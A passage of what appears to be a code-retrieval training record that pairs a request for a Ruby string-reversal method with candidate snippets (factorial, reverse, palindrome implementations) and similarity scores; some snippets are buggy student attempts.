while i <= num\n mult *= i\n i += 1\n end\n return mult\nend", "def factorial(number)\n total = 1\n for i in 1..number\n total *= i \n end\n total\nend", "def factorial(number)\n total = 1\n for i in 1..number\n total *= i \n end\n total\nend", "def factorial(num)\n return 1 if num == 0\n return num if num < 3\n\n output = 1\n i = 2\n while i <= num\n output *= i\n i += 1\n end\n\n output\nend", "def factorial(number)\n product = 1\n while number > 1\n product *= number\n number -= 1\n end\n p product\nend", "def factorial(number)\n product = 1\n while number > 1\n product *= number\n number -= 1\n end\n product\nend", "def factorial(n)\n if n == 0 || n == 1 \n \treturn 1\n else\n numbers = []\n n.downto(1) { |x| numbers << x }\n numbers.inject(1) { |x,y| x * y }\n end\nend", "def factorial(num)\n if num == 0\n 1\n else\n num * factorial(num - 1)\n end\nend", "def factorial(number)\n product = 1\n while number >= 1\n product *= number\n number = number - 1\n end\n product\nend", "def factorial(num)\n if num == 0\n return 1\n else\n value = num - 1\n until value == 0\n num *= value\n value -= 1\n end\n return num\n end\nend", "def factorial(number)\n if number <= 1\n return 1\n else\n result = 1\n (1..number).each {|x| result = result * x}\n return result\n end\nend", "def factorial(number)\n #Takes a single number, as an input\n #if number is 0, return 1, else continue\n #Initialize a new variable, factorial, equal to number\n #multiply factorial by all integers between 1 and number (excluding number)\n #Return factorial\n if number == 0\n return 1\n else\n factor = number\n for i in 1...number\n factor = factor * i\n end\n return factor\n end\nend", "def factorial(number)\n if number == 0\n return 1\n else\n final_factorial = 1\n\n for x in 1..number\n final_factorial = final_factorial * x\n end\n\n return final_factorial\n end\nend", "def factorial n\n if n == 0\n return 1\n end\n return (1..n).inject(:*)\nend", "def factorial(n)\n result = 1\n (1..n).each do |n|\n result *= n\n end\n return result\nend", "def factorial(number)\n sum = 1\n (1..number).each do |number|\n sum *= number\n end\n sum\nend", "def factorial(number)\n # Your code goes here\n product = 1\n if number < 0\n return 0\n else\n (1..number).each do |y|\n product = product * y\n end\n return product\n end\nend", "def factorial(n)\n if n == 0\n \t1\n else\n (1..n).inject {|product, n| product * n }\n end\nend", "def factorial(number)\n if number == 0\n return 1\n elsif number == 1\n return 1\n elsif number > 1 \n product = number\n while number > 1 do \n number -=1\n product *= number \n end\n return product\n end \nend", "def factorial(number)\r\ntotal = 1\t\r\n\twhile number != 0\r\n\t\ttotal *= number\r\n\t\tnumber = number -1\r\n\tend\r\n\ttotal\r\nend", "def factorial(num)\n return 1 if num == 1\n num * factorial(num - 1)\nend", "def factorial(number)\n sum = 1\n sum.upto(number) { |i| sum *= i}\n sum\nend", "def factorial(num)\r\n # your code goes here\r\n factorial = 1\r\n\r\n factorial = num\r\n while num > 1\r\n num -= 1\r\n factorial *= num\r\n end\r\n\r\n factorial\r\nend", "def factorial(number)\n # Your code goes here\n if number == 0\n return 1\n end\n\n factorial = number\n for next_number in 2...number\n factorial *= next_number\n #longhand\n #factorial = factorial * next_number\n end\n\n return factorial\nend", "def factorial(n)\n if n == 0; return 1; end\n return (1..n).reduce(:*)\nend", "def factorial(num)\n i = 1\n fact = i\n while i <= num\n fact *= i\n i += 1\n end\n return fact\nend", "def factorial(number)\n\tfactorial = 1\n\t(1..number).each do |x|\n\t\tfactorial *= x\n\tend\n\treturn factorial\nend", "def factorial(num)\n product = 1\n\n i = 1\n while i <= num\n product *= i\n\n puts i\n i += 1\n end\n\n return product\nend", "def factorial(num)\n i = 1\n output = 1\n\n while i <= num\n output *= i\n i += 1\n end\n return output\nend", "def factorial(num)\n sum = 1\n i = 1\n while i <= num\n sum = i * sum\n i += 1\n end\n return sum\nend", "def factorial(number)\n if number == 0\n return 1\n else\n final_factorial = 1\n\n for x in 1..number\n final_factorial = final_factorial * x\n end\n\n return final_factorial\n end\nend", "def factorial(number)\n # Your code goes here\n product = number\n if number == 0\n \tproduct = 1\n end\n while number > 1\n \tproduct = product * (number - 1)\n \tnumber = number - 1\n end\n product\nend", "def factorial((number))\nif number == 0\n return 1\n else\n result = 1\n while number > 1\n result = result * number\n number -= 1\n end\nend\n return result\nend", "def factorial(num)\n i = num -1\n output = num\n while i > 0\n output *= i\n i -= 1\n end\n return output\nend", "def factorial(number)\n raise ArgumentError if number.nil?\n if number == 0 || number == 1\n return 1\n end\n\n i = 0\n result = 1\n\n while i < number\n result *= (number - i)\n i += 1\n end\n return result\nend", "def factorial(number)\n num = 1\n until number == 0\n num *= number\n number -=1\n end\n num\nend", "def factorial(number)\n\tif number == 0 || number == 1\n\t\treturn 1\n\telse\n\t\tproduct = number\n\t\twhile number > 1\n \t\t product = product*(number - 1)\n \t\t number = (number - 1)\n \t\tend\n \tend\n\treturn product\nend", "def factorial(number)\n # IF number = 0, return 1\n if number == 0\n return 1\n end\n # IF number = 1, return 1\n if number == 1\n return 1\n end\n # set variable factorial to 1\n factorial = 1\n # FROM x=1 to number\n for i in 1..number\n # factorial = x * factorial\n factorial *= i\n end\n # Return factorial\n return factorial\nend", "def factorial(n)\n product = 1\n for i in (1..n)\n product *= i\n end\n product\nend", "def factorial(n)\n (1..n).reduce(:*)\nend", "def factorial(n)\n (1..n).inject(1) {|product, n| product * n }\nend", "def factorial(number)\n\tresult = 1\n\twhile number > 0\n\t\tresult *= number\n\t\tnumber -= 1\n\tend\n\treturn result\nend", "def factorial(number)\n if number == 0 || number == 1 \n return 1\n end\n total = 1\n number.downto(1) do |x|\n total *= x\n end\n return total\nend", "def factorial(number)\n \t if (number >= 2)\n \t\tresult.each do |number| number * (number -1)\n \t\tnumber -=\n \tend\n\n \treturn result\n \telse\n \t\tnumber == 0 || number == 1\n \t\treturn 1\n \tend\n\t\t\n\nend\n#This is as close as i got to getting factorial to work without using refactoring, per instructions.\n#Couldnt really get this to work. ", "def factorial(n)\r\n\tif n < 0\r\n\t\tnil\r\n\tend\r\n\r\n\tresult = 1\r\n\twhile n > 0\r\n\t\tresult = result * n\r\n\r\n\t\tn -= 1\r\n\tend\r\n\tresult\r\n\r\n\r\nend", "def factorial(number)\n#Return 1 for any number that is 0\nreturn 1 if number == 0 \n# This is where the new number will be store\ntotal = 1\n# Create a range and iterate through each number and then assign that number to total\n(1..number).each do |num|\n total = total * num\nend\n# return total so it can display the last number.\ntotal\nend", "def factorial(n)\n (1..n).inject(:*)\nend", "def factorial(num)\n puts (1..(num.zero? ? 1 : num)).inject(:*)\nend", "def factorial(n)\n (1..n).inject(:*)\nend", "def factorial(num)\n\tif num != 1\n\tputs num \n\n\tnum * factorial(num-1)\n\telse \n\treturn 1\n\tend\t\n\n\nend", "def factorial(n)\n\tsum = 1\n\tfor i in 1..n\n\t\tsum*=i \n\tend \nreturn sum \nend", "def factorial(number)\n\tnumber.downto(2).inject(1) {|sum, element| sum *= element}\nend", "def factorial(n) \r\n \r\n answer = 1\r\n \r\n for i in 2..n do\r\n answer *= i\r\n end\r\n\r\n return answer\r\n\r\nend" ]
[ "0.8604505", "0.8512827", "0.84923476", "0.84742993", "0.8452763", "0.84388113", "0.8429415", "0.84178513", "0.8382182", "0.8377633", "0.83741176", "0.83719283", "0.8366873", "0.8364962", "0.83632004", "0.83593404", "0.83456445", "0.83437365", "0.83410496", "0.83222485", "0.8303061", "0.82926774", "0.8290704", "0.8282734", "0.8264096", "0.8260384", "0.8255366", "0.82504994", "0.8230811", "0.8226482", "0.8220414", "0.8216228", "0.8211167", "0.82094324", "0.8207888", "0.82009995", "0.8198417", "0.81950295", "0.81918555", "0.8168387", "0.81633973", "0.816177", "0.81501395", "0.8137452", "0.8132042", "0.812672", "0.81260633", "0.8125926", "0.8123878", "0.8123878", "0.8121989", "0.81215763", "0.8118207", "0.81120104", "0.81079096", "0.8106326", "0.80979186", "0.8086969", "0.80811185", "0.80765617", "0.8072762", "0.8070025", "0.8065087", "0.80562216", "0.80548835", "0.80516535", "0.8038378", "0.8035188", "0.80241245", "0.8023245", "0.80158985", "0.8015227", "0.8014692", "0.8009697", "0.8006472", "0.80050975", "0.8005083", "0.80038047", "0.7995261", "0.79911137", "0.7988903", "0.7988124", "0.79879296", "0.798739", "0.7981749", "0.79815567", "0.79796666", "0.79787445", "0.7977456", "0.79662347", "0.7960469", "0.79554033", "0.79487336", "0.79483056", "0.7943177", "0.79357463", "0.7932011", "0.79293144", "0.7928855", "0.79261035" ]
0.8215293
32
Write a method reverse(word) that takes in a string word and returns the word with its letters in reverse order.
def reverse(word) reversed_str = "" i = 0 while i < word.length char = word[i] reversed_str += char i += 1 end return reversed_str end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def reverse_string word\n\t\treturn word.reverse\nend", "def reverse_word(word)\n return word.reverse\n end", "def rev(word)\n word.reverse\nend", "def reverse(word) # defines the method with one param\n\ti = 0 # sets value at zero\n\trevered_string = \"\" # creates empty string to put reversed characters\n\n\twhile i < word.length # while loop that sets condition to end after i exceeds the amount of word length\n\t\tchar = word[i] # string character value stored into variable char corresponding with index value in i\n\t\trevered_string = char + revered_string # variable for string concatenation, we put char first because it puts each iteration of character in string before last in order thus reversing it.\n\n\t\ti += 1 # raises i value or index number by one\n\tend\n\treturn revered_string # returns reversed string\nend", "def reverse(word)\n\t# return word.reverse\n\tidx = word.length - 1\n \tres = \"\"\n \twhile(idx>=0)\n \tres+= word[idx]\n \tidx-=1\n end\n return res\nend", "def word_reverse(string)\n reversed_word = string.split(' ').reverse().join(' ').reverse()\nend", "def reverse(word)\n reversed = \"\"\n \n i = 0\n while i < word.length\n char = word[i]\n reversed = char + reversed\n \n i += 1\n end\n \n return reversed\nend", "def word_reverse str\n\tstr.split.reverse.join(' ')\nend", "def reverse(word)\n\treversed = \"\"\n i = 0\n while i < word.length\n char = word[i]\n reversed = char + reversed\n i += 1\n \n end\n return reversed\n \nend", "def reverse(word)\n i = word.length - 1\n w_reverse = \"\"\n while i >= 0\n w_reverse += word[i]\n i -= 1\n end\n\n return w_reverse\nend", "def reverse(word)\n\n reversed = \"\"\n i = 0\n \n\twhile i < word.length\n char = word[i]\n reversed = char + reversed\n i += 1 \n end\n \n return reversed \n \nend", "def word_reverse(str)\n p str.split(' ').reverse.join(' ')\nend", "def word_reverse(string)\n reversed_word = string.split(' ').reverse().join(' ')\nend", "def word_reverse (str)\n str.split(' ').reverse.join(' ')\nend", "def reverse(word)\n new_word = \"\"\n i = 0\n while i < word.length\n char = word[i]\n new_word = char + new_word\n i += 1\n end\nreturn new_word\nend", "def reverse_word(words)\n\twords.split(\" \").each {|word| word.reverse!}.join(\" \")\nend", "def reverse(word)\n i = 0\n reversed = \"\"\n\n while i < word.length\n char = word[i]\n reversed = char + reversed\n i += 1\n end\n\n return reversed\nend", "def wordReverse(aString)\n return aString.split.reverse.join(\" \")\nend", "def wordReverse(string)\n\tp string.split(\" \").reverse().join(\" \")\nend", "def reverse_words(word)\n p word.reverse.split.reverse.join(' ')\nend", "def wordReverse (string)\n puts string.split.reverse.join(' ')\nend", "def reverse_word(word)\n\n reversed = \"\"\n counter = word.length - 1\n while counter >= 0 \n reversed += word[counter]\n counter -= 1\n end\n\n reversed\nend", "def letter_reverse(str)\n p str.reverse.split(' ').reverse.join(' ')\nend", "def letter_reverse(sentence)\n # sentence.split(\" \").map(&:reverse).join(\" \")\n # sentence.gsub(/\\w+/) { |word| word.reverse }\n sentence.gsub(/\\w+/, &:reverse)\nend", "def reverse(word)\n i = word.length - 1\n reversed = ''\n while i >= 0\n reversed += word[i]\n i -= 1\n end\n return reversed\nend", "def letterReverse (str)\n str.split('').reverse.join('')\nend", "def wordReverse (str)\nstr.split(' ').reverse.join(' ')\nend", "def letterReverse(aString)\n return aString.reverse!.split.reverse.join(\" \")\nend", "def reverse_word(word)\n new_word = []\n word.chars.each do |chr|\n new_word.unshift(chr)\n end\n new_word.join(\"\")\n\nend", "def reverse_word(word)\n word.length <= 1 ? (return word) : (return word[-1]+reverse_word(word[0,word.length-1]))\nend", "def reverse(word)\n# This was as far as I could go\n\ttemp = ''\n\n\ti += 0\n\twhile i <= word.length\n\t\t# I know that this will hold the individual letter of the current iteration\n\t\tchar = word[i]\n\n\t\tputs i\n\t\ti += 1\n\tend\n\treturn temp\t\nend", "def reverse_word_by_word_naive(s)\n words = s.split(\" \")\n my_reverse(words).join(\" \")\nend", "def letter_reverse str\n str.reverse!\nend", "def letterReverse (string)\n new_string = []\n string.split.each do |word|\n new_string.push word.reverse\n end\n puts new_string.join(' ')\nend", "def word_reverse(sentence)\n sentence.split(\" \").reverse.join(\" \")\nend", "def reverse(word)\n i = word.length - 1\n str = []\n while str.length < word.length\n str.push(word[i])\n i -= 1\n end\n return str.join\nend", "def reverse(string)\n reverse_word = \"\"\n string.each_char { |chr| reverse_word.prepend(chr) }\n reverse_word\nend", "def reverse1(word)\n i = 0\n reversed = \"\"\n while i < word.length\n char = word[i]\n reversed = char + reversed\n i += 1\n end\n return reversed\nend", "def reverse_words(string)\n p string.split.map!{|word| word.reverse}.join(\" \")\nend", "def reverse_words(string)\n p string.split.map!{|word| word.reverse}.join(\" \")\nend", "def reverse_words(string)\n words = string.split()\n words.each_with_index { |word, index| words[index] = word.reverse() }\n p words.join(\" \")\nend", "def letter_reverse (str)\n str.split(' ').map { |each| each.reverse }.join(' ')\nend", "def reverse_each_word(words)\n words.split(\" \").collect{ |x| x.reverse}.join(\" \")\nend", "def reverse_words(string)\n string.gsub(/\\w+/) { |word| word.reverse! } \n end", "def reverse(string)\nend", "def reverseWords(str) \n str.reverse!\n str.split.map{|word| word.reverse!}.join(\" \")\nend", "def reverse_each_word(string)\n helper_array = []\n string_to_array = string.split\n string_to_array.collect do |letter|\n helper_array.push letter.reverse!\n end\n return helper_array.join(\" \")\nend", "def wordReverse(string)\n\treverseStr = string.reverse\n\tstringArr = reverseStr.split(' ')\n\tstringArr.map! do |word|\n\t\tword.reverse\n\tend\n\tp stringArr.join(' ')\nend", "def word_reverse(my_words, word_start, word_end)\n return nil if my_words == nil || my_words.length == 0\n\n i = word_start # first index of character word word\n j = word_end # last index of character in word\n\n while i < j\n temp = my_words[i] # swap with temporary variable\n my_words[i] = my_words[j]\n my_words[j] = temp\n i += 1\n j -= 1\n end\n return\nend", "def reverse_each_word(astring)\n astring.split(\" \").collect {|word| word.reverse}.join(\" \")\nend", "def letterReverse(string)\n\tp string.split.map { |letter| letter.reverse }.join(' ')\nend", "def reverse_each_word(string)\n arrayOfReversedWords = string.split.collect do |letter|\n letter.reverse\n end\n arrayOfReversedWords.join(\" \")\nend", "def my_reverse(word)\n letters = word.strip.downcase.chars\n word_reversed = \"\"\n until letters.length == 0\n word_reversed << letters.pop\n end\n binding.pry\n word_reversed.capitalize\nend", "def reverse_words(arg)\n\n\tword_array = arg.split(\" \")\n\tword_array = word_array.map{|i| i.reverse}\n\tword_array.join(\" \")\n\nend", "def reverse_words(string)\n string.gsub(/\\w+/) { |match| match.reverse }\nend", "def reverse_each_word(string)\n split_array = string.split(' ')\n reversed = []\n split_array.each do |word|\n reversed << word.reverse\n end\nreturn reversed.join(' ')\nend", "def reverse(string)\n string.reverse\nend", "def reverse(string)\n string.reverse\nend", "def letterReverse (string_of_words)\n new_sentence = ''\n new_word = ''\n word_array = string_of_words.split(' ')\n word_array.each do |elem|\n new_word = elem.split('').reverse().join('')\n puts new_word\n new_sentence.concat(new_word + ' ')\n puts new_sentence.to_s\n end\n new_sentence\nend", "def reverse_each_word(string)\n p string.split.collect {|word| word.reverse}.join(\" \")\nend", "def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend", "def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend", "def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend", "def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend", "def reverse_each_word(string)\n array = string.split\n array.each do |word|\n word.reverse!\n end\n array.join(\" \")\nend", "def reverse_each_word(string)\n words_arr = string.split\n reverse = words_arr.collect {|word| word.reverse}\n reverse.join(\" \")\nend", "def reverse_each_word(string)\n string.split(\" \").collect {|word| word.reverse!}.join(\" \")\nend", "def reverse_words(str)\n words = str.split(\" \")\n words.each { |word| word.reverse! }\n return words.join(\" \")\nend", "def reverse_each_word(str)\n words = str.split(\" \")\n \n reversed_words = words.collect { |ele| ele.reverse }\n \n return reversed_words.join(\" \")\nend", "def reverse(str)\n return str.reverse()\nend", "def reverse_words(words)\n return words.split(' ').reverse.join(' ').reverse\nend", "def reverse_each_word(string)\n array = string.split(\" \")\n reverse_array = array.collect {|word| word.reverse}\n reverse_string = reverse_array.join(\" \")\n return reverse_string\nend", "def reverse_each_word(string)\n string.split(\" \").collect {|x| x.reverse!}.join(\" \")\nend", "def reverse(str)\n return str.reverse()\nend", "def reverse_each_word(string)\n string_array = string.split(\" \");\n reverse_string_array = string_array.collect { |string| string.reverse};\n return reverse_string_array.join(\" \");\nend", "def reverse_word_order string\n string.split.reverse.join(' ')\nend", "def reverse_string(string, start_of_word, end_of_word)\n\n i = start_of_word\n j = end_of_word\n\n while i < j\n temp = string[i]\n string[i] = string[j]\n string[j] = temp\n\n i += 1\n j -= 1\n end\n\n return string\nend", "def reverse_words(string)\n string.split(' ').map{|word| word.reverse}.join(' ')\nend", "def reverse_words (string)\n array = string.split(\"\")\n array.reverse!\n final = array.join(\"\")\n return final\nend", "def letter_reverse str\n\toriginal_array = str.split(\" \")\n\treturn_array = []\n\toriginal_array.each do |str|\n\t\treturn_array << str.reverse\n\tend\n\treturn_array.join(\" \")\nend", "def reverse (string)\n # Your code here\nend", "def reverse_each_word(string_argument)\n\tstring_array = string_argument.split()\n\n\tstring_array.collect do |string|\n\t\tstring.reverse!\n\tend\n\n\tstring_array.join(\" \")\nend", "def reverse_each_word(phrase)\n phrase.split.collect {|word| word.reverse}.join(\" \")\n \n end", "def reverse(str)\n str.reverse\nend", "def reverse_words (string)\n string_array = string.split(\" \").to_a\n string_array.each {|word| word.reverse!}\n new_string = string_array.join(\" \")\nend", "def reverse_each_word(x) \n #Create a new array to store the split string\n array = []\n #Use .split to split the string into an array of strings\n array = x.split \n #Use collect enumerable to iterate over the elements of array and .reverse! to reverse each element\n array.collect{|n| n.reverse!}\n #Use .join on the array with ' ' to join the elements together with a space into a string\n array.join(' ')\nend", "def reverse_words (string)\n if string == \"\"\n p \"\"\n elsif\n words = string.split(\" \")\n words.each { |word|\n word.reverse!\n }\n p words.join(\" \")\nend\nend", "def reverse_words_refactor(string)\n jumbled_letters = string.split(\" \").each {|word| word.reverse!}.join(\" \")\nend", "def reverse_each_word(string)\n arr = string.split\n reversed = arr.collect do |n| n.reverse\n end\n p reversed.join(\" \")\nend", "def reverse_words(word)\n \n \n \n word = word.split(\" \")\n result = []\n word.each do |x|\n y = x.reverse\n result << x.reverse\n end\n result.join(' ') \n\nend", "def reverseString(string)\n splitString = string.split(' ')\n splitString.each do |word|\n word.reverse!\n end\n puts splitString.join(' ')\nend", "def reverse_words(string)\n words = string.split(\" \")\n words.map! {|element| element.reverse}\n words.join(\" \")\n\nend", "def reverse_words(string, *optional)\n\tstring = string.split\n\tstring.map! do |word|\n \tword.reverse\n \tend\n \n \tp string.join(\" \")\n \nend", "def reverse_each_word(string)\n split = string.split\n split = split.collect do |word|\n word.reverse\n end\n return split.join(\" \")\nend", "def reverse_each_word(string)\n array = string.split(\" \")\n def reversed_array(array)\n array.collect do |string| \n string.reverse\n end\n end\n reversed_array(array).join(\" \")\nend", "def reverse_each_word(string)\n array = string.split\n rev_array = array.collect do |i|\n i.reverse\n end\n rev_array.join(\" \")\nend", "def reverse_each_word(sentence)\n sentence.split(\" \").collect{|x| x.reverse}.join(\" \")\nend", "def wordReverse (string_of_words)\n\n new_string = string_of_words.split(' ').reverse().join(' ')\n puts new_string\n\nend", "def reverse_each_word(string)\n rev_string = string.split\n rev_string.collect do |rev|\n rev.reverse!\n end\n return rev_string.join(\" \")\nend", "def reverse_word_order(str)\n str.split.reverse.join(' ')\nend" ]
[ "0.8523614", "0.85053015", "0.8354318", "0.8330286", "0.8022159", "0.7969943", "0.7950174", "0.79459924", "0.793259", "0.7910705", "0.790938", "0.7905664", "0.78725773", "0.7862317", "0.7856957", "0.7854052", "0.7822807", "0.78175557", "0.7801047", "0.7794002", "0.77935696", "0.7775338", "0.7772335", "0.7768752", "0.7723075", "0.7704179", "0.7673891", "0.7661594", "0.7644664", "0.7639104", "0.7634603", "0.7622094", "0.762014", "0.76049083", "0.75990236", "0.75913054", "0.75913", "0.75768626", "0.75741637", "0.75741637", "0.7564256", "0.75638765", "0.75302005", "0.7523174", "0.75071007", "0.74972385", "0.7497017", "0.749066", "0.7487487", "0.7486893", "0.7475768", "0.74747616", "0.74726593", "0.7469073", "0.745823", "0.7457293", "0.7438303", "0.7438303", "0.74277073", "0.7424614", "0.74233705", "0.74233705", "0.74233705", "0.74233705", "0.7422728", "0.742051", "0.7416922", "0.7403748", "0.7403353", "0.74013644", "0.73917514", "0.7391659", "0.7391035", "0.73836505", "0.738149", "0.7380907", "0.73802334", "0.7377864", "0.73721385", "0.7365902", "0.7361416", "0.7360638", "0.73550427", "0.7345482", "0.73445183", "0.734255", "0.73423386", "0.7339208", "0.73293346", "0.7328368", "0.7326348", "0.7321649", "0.7317623", "0.7309205", "0.7308575", "0.7306025", "0.73059505", "0.7303884", "0.7303171", "0.73024786" ]
0.77328753
24
Write a method is_palindrome(word) that takes in a string word and returns the true if the word is a palindrome, false otherwise. A palindrome is a word that is spelled the same forwards and backwards.
def is_palindrome(word) reversed = "" i = 0 while i < word.length reversed = word[i] + reversed i += 1 end if word == reversed return true else return false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_palindrome?(word)\n if word == word.reverse\n return true\n else\n return false\n end\nend", "def palindrome_word?(word)\n word.downcase === word.downcase.reverse ? true : false\n end", "def palindrome?\n formatted_word = @word.gsub(/[^a-z]/, \"\")\n formatted_word == formatted_word.reverse\n end", "def palindrome_word?(word)\n normalized = word.downcase\n normalized.reverse == normalized\nend", "def palindrome?(word)\n word.reverse == word\nend", "def is_palindrome(word)\n word == word.reverse ? true : false\nend", "def is_palindrome?(word)\n\n\n #\n # raise ArgumentError if !word.is_a?(String)\n # downcased_word = word.downcase.gsub(/\\W/,\"\")\n # return false if downcased_word.length < 2\n # downcased_word == downcased_word.reverse\n\n if word.class == String\n no_white_spaces = word.strip\n if no_white_spaces.to_i == 0 && no_white_spaces.length > 1 && no_white_spaces.length < 20\n no_white_spaces === no_white_spaces.reverse\n else\n return false\n end\n else\n raise ArgumentError\n end\nend", "def is_palindrome(word)\n\t# too easy\n # return word == word.reverse\n \tidxReverse = word.length-1\n \tidxForward = 0\n \twhile(idxForward<idxReverse)\n if(word[idxForward] != word[idxReverse])\n return false\n end\n idxReverse -=1\n idxForward +=1\n end\n return true\n \t\nend", "def palindrome(word)\n if word.downcase == word.downcase.reverse\n true\n else\n false\n end\nend", "def palindrome_word? word\n output = word.downcase\n output.reverse == output\nend", "def palindrome?(word)\n word == word.reverse\nend", "def is_palindrome?(word)\nend", "def palindrome_word?(word)\n return true if word.reverse.upcase == word.upcase\n false\nend", "def palindrome(word)\n\treturn word == word.reverse #true\nend", "def palindrome_word?(word)\n # determines whether a single word is a palindrome\n # ignores case\n # returns true or false\n if word.downcase == word.downcase.reverse\n true\n else false\n end\n\nend", "def palindrome_verify(word)\n if word.reverse == word #Check if string same when reversed \n return \"#{ word } es palindromo.\"\n else # If string is not the same when reversed\n return \"#{ word } no es un palindromo\"\n end\n end", "def is_palindrome(word)\n forward = 0\n backword = word.length - 1\n while forward <= backword\n if word[forward] != word[backword]\n return false\n end\n forward += 1\n backword -= 1\n end\n return true\nend", "def palindrome?(word)\n if word == word.reverse\n puts \"The word #{word} is palindrome\"\n elsif\n puts \"The word #{word} is not palindrome\"\n end\n end", "def is_palindrome(word)\n reversed = \"\"\n\n i = 0\n while i < word.length\n char = word[i]\n reversed = char + reversed\n\n i += 1\n end\n\n if word == reversed\n return true\n else\t\n\treturn false\n end\nend", "def palindrome?(word)\n lol = (word.gsub(/\\W+/i, \"\")).gsub(/\\d+/i, \"\")\n if lol.downcase == lol.downcase.reverse\n return true;\n else\n return false;\n end\nend", "def palindrome?( string )\n word = string.downcase.gsub(/[^a-z]/, '')\n if word == word.reverse\n return true\n else\n return false\n end\nend", "def palindrome_word?(word)\n word.downcase!\n puts word.downcase!\n reversedword=word.reverse\n if reversedword==word\n return true\n else\n return false\n end\nend", "def palindrome?(word)\n return word.downcase == word.downcase.reverse\nend", "def palindrome_word? str\n new_str = str.downcase\n if new_str == new_str.reverse\n true\n else\n false\n end\nend", "def is_palindrome(word)\n i = 0\n reversed = \"\"\n while i < word.length\n reversed = word[i] + reversed\n i += 1\n end\n return reversed == word\n end", "def is_palindrome(word)\nforwards = \"\"\nbackwards = \"\"\n \n i = 0\n while i < word.length\n char = word[i]\n forwards = forwards + char\n backwards = char + backwards\n\n i += 1\n end\n \n if forwards == backwards\n return \"true\"\n else\n return \"false\"\n end\nend", "def is_palindrome(word)\n palindrome = \"\"\n i = 0\n while i < word.length\n palindrome = word[i] + palindrome #concats backwards into palindrome\n i += 1\n end\n return palindrome == word #compares the newly stored backward word, to the word inputted\nend", "def is_palindrome(word)\n\n i = 0\n reversed = \"\"\n \n while i < word.length\n char = word[i]\n reversed = char + reversed\n i += 1\n end\n \n if word == reversed\n return true\n else \n return false\n end\n \nend", "def is_palindrome?(word)\n if word.class == String\n word = word.downcase\n result = word.reverse == word ? true : false\n else\n puts \"please pass a string as the argument\"\n end\n puts result\nend", "def isPalindrome(word)\n\nend", "def palindrome2? word\n word.downcase.reverse == word.downcase \nend", "def is_palindrome(word)\n palindrome = false\n reversed_str = \"\"\n\n i = 0\n \n while i < word.length\n reversed_str = word[i] + reversed_str\n i += 1\n end\n \n if reversed_str == word\n palindrome = true\n end\n \n return palindrome\nend", "def palindrome_word? word\n if word.length === 1\n return true\n end\n lower = word.downcase\n num = (lower.length/2.0).floor\n num.times do |x|\n if lower[x] == lower[-(x+1)]\n if x == num - 1\n return true\n end\n next\n else\n return false\n end\n end\nend", "def palindrome?(str)\n # YOUR CODE HERE\n words = str.downcase.gsub(/\\W/, \"\")\n return words == words.reverse\nend", "def palindrome?(string)\n\tputs string\n\tstring.downcase!\n\tstring = string.gsub(/\\W+/, '')\n\tif string === string.reverse\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "def is_palindrome?(string)\n string.reverse == string\nend", "def palindrome?(string)\n\tstring.downcase!\n\tstring.gsub!(/\\W+/, '')\n\tputs string\n\tif string === string.reverse\n\t\tputs \"true\"\n\telse\n\t\tputs \"false\"\n\tend\nend", "def is_palindrome? string\n string == string.reverse\nend", "def is_palindrome? string\n string == string.reverse\nend", "def palindrome_word? word8\n word8.downcase == word8.downcase.reverse\nend", "def is_palindrome?(str)\nend", "def palindrome?(string)\n string = string.downcase\n string = string.gsub(' ', '')\n if string == string.reverse\n return true\n else\n return false\n end\nend", "def palindrome?(string)\r\n reverse_string = string.reverse\r\n if reverse_string == string\r\n true\r\n else\r\n false\r\n end\r\nend", "def palindrome?\n string = self.downcase.gsub(/[\\W\\d]+/,\"\")\n string.reverse.eql?(string)\n end", "def is_palindrome?(string)\n string == string.reverse\nend", "def real_palindrome?(string)\n remove_nonalphanumeric(string) # => nil, nil, \"MadamImAdam\", nil, nil, nil\n palindrome?(string.downcase) # => true, true, true, true, true, false\nend", "def is_palindrome(aString)\n return false if aString == nil\n #positive side = a = 0\n #negative side = y = -1\n temp_word = aString.gsub(/(\\W|\\d)/, \"\").downcase\n\n i = 0\n a = -1\n word = temp_word.chars\n while i < (word.length / 2)\n # check chars are the same\n # if same, move to next set of chars\n # if different, return false \n # when processed all chars and still haven't found a difference, return true\n if word[i] == word[a]\n a -= 1\n i += 1\n else\n return false\n end\n end\n return true\nend", "def is_palindrome(word) # define method with one parameter\n i = 0 # set i to zero for first index value is 0\n reversed_string = \"\" # create empty string to store concatenated string\n \n while i < word.length # run while loop as long as word length is greater than i value which increments by one\n char = word[i] # this stores each iteration of string characters\n reversed_string = char + reversed_string # this concatenates string characters in reverse order\n i +=1 # raises increment by one \n end # end loop\n return reversed_string == word # if statement that evaluates whether new string equals original\nend", "def palindrome(str)\n stripped = str.gsub(/[^\\w]/, \"\").downcase\n if stripped === str.reverse\n return true\n else\n return false\n end\nend", "def palindrome?(string)\n if string == string.reverse\n return true\n else \n return false\n end\nend", "def palindrome(string)\n word_array = string.split(\"\")\n\n word_array.each_with_index do |letter,index|\n if letter[index] == letter[-index]\n return true\n end\n end\n end", "def is_palindrome(str)\n return str == str.reverse\nend", "def palindrome?(string = @string)\n\t\tif string.nil?\n\t\t\treturn false\n\t\telsif string.is_a? Numeric\n\t\t\treturn false\n\t\telsif string.length == 0 || string.length == 1\n\t\t\treturn true\n\t\telse\n\t\t\tif string.respond_to?(\"downcase\") && string.respond_to?(\"scan\")\n\t\t\t\tstring = string.downcase\n\t\t\t\tstring = string.scan /\\w/\n\t\t\tend\n\t\t\t\n\t\t\tif string[0] == string[string.length - 1]\n\t\t\t\tpalindrome?(string[1, string.length - 2])\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\tend", "def palindrome (string)\n\n if string.reverse == string\n return true\n else\n return false\n end\n \nend", "def palindrome_r(word)\n if word.length == 1 or word.length == 0\n true\n else\n if word[0] == word[-1]\n palindrome_r(word[1..-2])\n else\n false\n end\n end\nend", "def is_palindrome?(string)\n\tstring = string.gsub(/\\s+/, \"\").downcase\n\tif string.length == 1 || string.length == 0\n\t\ttrue\n\telse\n\t\tif string[0] == string[-1]\n\t\t\tis_palindrome?(string[1..-2])\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend\n\nend", "def 